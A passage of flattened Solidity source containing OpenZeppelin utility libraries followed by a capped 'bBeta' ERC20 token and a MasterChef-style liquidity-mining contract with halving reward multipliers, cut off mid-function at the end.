`revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/bBetaToken.sol pragma solidity 0.6.12; contract bBetaToken is ERC20("bBeta", "bBETA"), Ownable { uint256 public cap = 20000e18; address public bBetaMaster; mapping(address => uint) public redeemed; uint256 public startAtBlock; uint256 public NUMBER_BLOCKS_PER_DAY; uint256 constant public DATA_PROVIDER_TOTAL_AMOUNT = 2000e18; uint256 constant public AIRDROP_TOTAL_AMOUNT = 2000e18; uint256 public dataProviderAmount = DATA_PROVIDER_TOTAL_AMOUNT; uint256 public farmingAmount = 16000e18; constructor(address _sendTo, uint256 _startAtBlock, uint256 _numberBlockPerDay) public { startAtBlock = _startAtBlock; NUMBER_BLOCKS_PER_DAY = _numberBlockPerDay == 0 ? 6000 : _numberBlockPerDay; _mint(_sendTo, AIRDROP_TOTAL_AMOUNT); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); if (from == address(0)) { require(totalSupply().add(amount) <= cap, "ERC20Capped: cap exceeded"); } } function setMaster(address _bBetaMaster) public onlyOwner { bBetaMaster = _bBetaMaster; } function mint(address _to, uint256 _amount) public { require(msg.sender == bBetaMaster, "bBetaToken: only master farmer can mint"); if (_amount > farmingAmount) { _amount = farmingAmount; } farmingAmount = farmingAmount.sub(_amount); _mint(_to, _amount); } function safeBurn(uint256 _amount) public { uint canBurn = canBurnAmount(msg.sender); uint burnAmount = canBurn > _amount ? _amount : canBurn; redeemed[msg.sender] += burnAmount; _burn(msg.sender, burnAmount); } function burn(uint256 _amount) public { require(redeemed[msg.sender] + _amount <= 1e18, "bBetaToken: cannot burn more than 1 bBeta"); redeemed[msg.sender] += _amount; _burn(msg.sender, _amount); } function canBurnAmount(address _add) public view returns (uint) { return 1e18 - redeemed[_add]; } function mintForDataProvider(address _to) public onlyOwner { require(block.number >= startAtBlock + 14 * NUMBER_BLOCKS_PER_DAY, "bBetaToken: Cannot mint at this time"); require(dataProviderAmount > 0, "bBetaToken: Cannot mint more token for future farming"); _mint(_to, dataProviderAmount); dataProviderAmount = 0; } } // File: contracts/bBetaMaster.sol pragma solidity 0.6.12; contract bBetaMaster is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. } // Info of each pool. struct PoolInfo { IERC20 lpToken; uint256 allocPoint; uint256 lastRewardBlock; uint256 rewardPerShare; } bBetaToken public bBeta; uint256 public REWARD_PER_BLOCK; uint256[] public REWARD_MULTIPLIER = [222, 211, 200, 189, 178, 167, 156, 144, 133, 122, 111, 100, 0]; uint256[] public HALVING_AT_BLOCK; uint256 public FINISH_BONUS_AT_BLOCK; uint256 public START_BLOCK; // Info of each pool. PoolInfo[] public poolInfo; mapping(address => uint256) public poolId1; // poolId1 count from 1, subtraction 1 before using with poolInfo // Info of each user that stakes LP tokens. pid => user address => info mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); event SendReward(address indexed user, uint256 indexed pid, uint256 amount); constructor( bBetaToken _bBeta, uint256 _rewardPerBlock, uint256 _startBlock, uint256 _halvingAfterBlock ) public { bBeta = _bBeta; REWARD_PER_BLOCK = _rewardPerBlock; START_BLOCK = _startBlock; for (uint256 i = 0; i < REWARD_MULTIPLIER.length - 1; i++) { uint256 halvingAtBlock = _halvingAfterBlock.mul(i + 1).add(_startBlock); HALVING_AT_BLOCK.push(halvingAtBlock); } FINISH_BONUS_AT_BLOCK = _halvingAfterBlock.mul(REWARD_MULTIPLIER.length - 1).add(_startBlock); HALVING_AT_BLOCK.push(uint256(-1)); } // -------- For manage pool --------- function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { require(address(_lpToken) != address(0x0), "bBetaMaster::add: wrong lptoken"); require(poolId1[address(_lpToken)] == 0, "bBetaMaster::add: lp is already in pool"); if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > START_BLOCK ? block.number : START_BLOCK; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolId1[address(_lpToken)] = poolInfo.length + 1; poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, rewardPerShare: 0 })); } function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 reward = getPoolReward( pool.lastRewardBlock, block.number, pool.allocPoint ); if (reward == 0) { pool.lastRewardBlock = block.number; return; } bBeta.mint(address(this), reward); pool.rewardPerShare = pool.rewardPerShare.add(reward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // --------- For user ---------------- function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.rewardPerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { safeTransferReward(msg.sender, pending); } } if(_amount > 0) { pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.rewardPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.rewardPerShare).div(1e12).sub(user.rewardDebt); if(pending > 0) { safeTransferReward(msg.sender, pending); } if(_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); } user.rewardDebt = user.amount.mul(pool.rewardPerShare).div(1e12); emit Withdraw(msg.sender, _pid, _amount); } function claimReward(uint256 _pid) public { deposit(_pid, 0); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // ----------------------------- function safeTransferReward(address _to, uint256 _amount) internal { uint256 bal = bBeta.balanceOf(address(this)); if (_amount > bal) { bBeta.transfer(_to, bal); } else { bBeta.transfer(_to, _amount); } } // GET INFO for UI function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { uint256 result = 0; if (_from < START_BLOCK) return 0; for (uint256 i = 0; i < HALVING_AT_BLOCK.length; i++) { uint256 endBlock = 